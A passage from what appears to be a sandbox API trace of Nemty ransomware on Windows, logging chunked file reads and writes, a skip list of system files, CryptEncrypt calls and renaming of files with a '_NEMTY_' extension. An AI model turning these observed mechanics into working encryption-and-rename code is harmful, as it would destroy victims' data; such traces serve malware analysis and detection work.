ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.146] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.146] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.156] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.156] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.165] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.165] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.175] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.175] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.196] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.196] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.205] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.205] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.205] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.205] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.215] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.215] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.215] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.215] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.224] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.224] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.224] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.224] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.266] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.266] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.275] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.275] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.282] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.282] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.288] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.288] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0070.288] CloseHandle (hObject=0xffffffff) returned 0 [0070.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0070.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0070.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0070.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0070.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0070.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0070.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0070.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0070.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0070.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0070.288] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0070.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0070.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0070.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94420 | out: hHeap=0x4f90000) returned 1 [0070.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0070.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0070.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0070.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0070.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0070.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0070.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0070.288] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd80375, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd80375, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0070.289] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0070.289] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0070.289] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="...") returned 1 [0070.289] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="windows") returned -1 [0070.289] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0070.289] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="rsa") returned -1 [0070.289] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0070.289] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0070.289] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0070.289] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0070.289] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0070.289] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0070.289] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0070.289] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0070.289] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0070.289] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0070.289] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0070.289] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0070.289] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0070.289] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="programdata") returned -1 [0070.289] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="appdata") returned 1 [0070.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0070.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0070.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0070.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0070.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0070.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0070.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0070.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0070.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0070.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0070.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0070.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0070.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0070.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0070.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0070.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0070.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0070.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0070.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0070.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0070.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0070.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0070.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0070.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0070.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94368 [0070.290] Sleep (dwMilliseconds=0x5) [0070.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdd8b3870, dwHighDateTime=0x1d561e7)) [0070.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdd8b3870, dwHighDateTime=0x1d561e7)) [0070.298] GetLastError () returned 0x5 [0070.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0070.298] GetLastError () returned 0x5 [0070.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0070.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0070.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0070.298] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0070.298] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0070.298] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0070.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0070.298] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="G2LbYiw8Eh1nbEaUCeXN7P2qemXAOVpER0vkCtW07SDJVYzRFaAXFJeGW7gIJ2I0\r\n+sS1AkQLk3Ls5iBAnor7J+ndc2LXWoL9RuHOQITbcMEweUwKxDkUtZBGqOJqmia8\r\nsGlQmfR5jNkL1bET/LpNMXEnrlDDD9U3r8vrK8nFDlQgRsdFPjL0VpaV+iLhcDhE\r\n6z70PZEMuy6J/Fnta7gLeD39LKUyZSzGQGu/2pO2cBOBJTaVFzqmOGTrgTaDNjIY\r\nIbxPSNBxzsZUjYja4Bdr4/ompB1p+rBjBZTrR7p3TMPHM2rz0UH6+fb6lzqcdwGR\r\nejnYR9XeEtGRi/NDiI+grQ==\r\n", pcchString=0x653e91c) returned 1 [0070.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0070.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0070.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0070.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0070.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0070.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0070.299] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0070.299] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0070.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0070.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.299] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.308] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.308] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.318] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.318] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.327] 